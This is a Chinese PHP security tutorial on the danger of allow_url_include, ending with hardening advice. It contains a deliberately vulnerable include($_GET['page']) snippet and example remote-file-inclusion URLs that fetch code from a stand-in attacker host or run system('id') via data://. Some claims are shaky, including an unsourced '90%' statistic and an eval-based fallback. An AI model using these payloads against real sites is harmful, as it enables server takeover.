allow_url_include 必须设为 Off,因其使 include/require 可直接执行远程 URL 代码,导致单点远程代码执行(RCE);需同时禁用用户输入拼接包含路径并校验路径合法性。

开启 allow_url_include 会让 PHP 的 include、require 等函数支持直接加载并执行远程 URL(如 http://、ftp://),这相当于在服务器上开了一个“远程代码执行入口”。只要文件包含路径受用户控制,攻击者就能用一条 URL 注入恶意脚本,导致网站被完全接管。
为什么这个配置特别危险
它不是单纯“读取”远程内容,而是把远程响应体当作 PHP 代码来解析执行。也就是说,只要攻击者能控制 include($user_input) 中的 $user_input,且该输入是类似 http://evil.com/shell.php 的地址,服务器就会下载、编译、运行那段代码。
- 不需要配合其他漏洞,单点即可 RCE(远程代码执行)
- 常见利用场景:结合日志文件包含、会话文件、临时上传文件等,实现稳定反弹 shell
- 即使你禁用了
allow_url_fopen,只要allow_url_include=On,php://input、data://、phar://等伪协议仍可能被用于执行任意代码
典型攻击方式示例
假设存在如下代码:
<?php $page = $_GET['page']; include($page); ?>
当 allow_url_include=On 时,攻击者可发送:
-
http://site.com/index.php?page=http://attacker.com/mal.php→ 执行远程 PHP 脚本 -
http://site.com/index.php?page=data://text/plain,<?php %20system('id');?>→ 直接执行命令(需 magic_quotes_gpc=Off 或已绕过) -
http://site.com/index.php?page=php://input,再 POST 一段 PHP 代码 → 利用请求体注入
必须做的三件事
这不是“建议”,而是生产环境的硬性安全底线:
-
永久关闭
allow_url_include:在 php.ini 中设为Off,重启 Web 服务生效 -
杜绝用户输入拼接进 include/require:改用白名单映射,例如
$map = ['home'=>'home.php', 'user'=>'user.php'],再通过键名查值 -
对所有包含路径做规范化校验:使用
realpath()+str_starts_with()检查是否落在允许目录内,防止目录穿越(如../../../etc/passwd)
开发阶段就该堵死的口子
很多项目上线后才补这个配置,但风险早已埋下。真实案例中,90% 的 RFI 攻击都源于开发时没意识到 allow_url_include 的语义是“允许远程执行”,而非“允许远程读取”。它和 allow_url_fopen 是解耦设计的——前者管执行,后者管读取。宁可多走一步用 file_get_contents() + eval()(也不推荐),也不要打开 allow_url_include。
php免费学习视频:立即使用
踏上前端学习之旅,开启通往精通之路!从前端基础到项目实战,循序渐进,一步一个脚印,迈向巅峰!











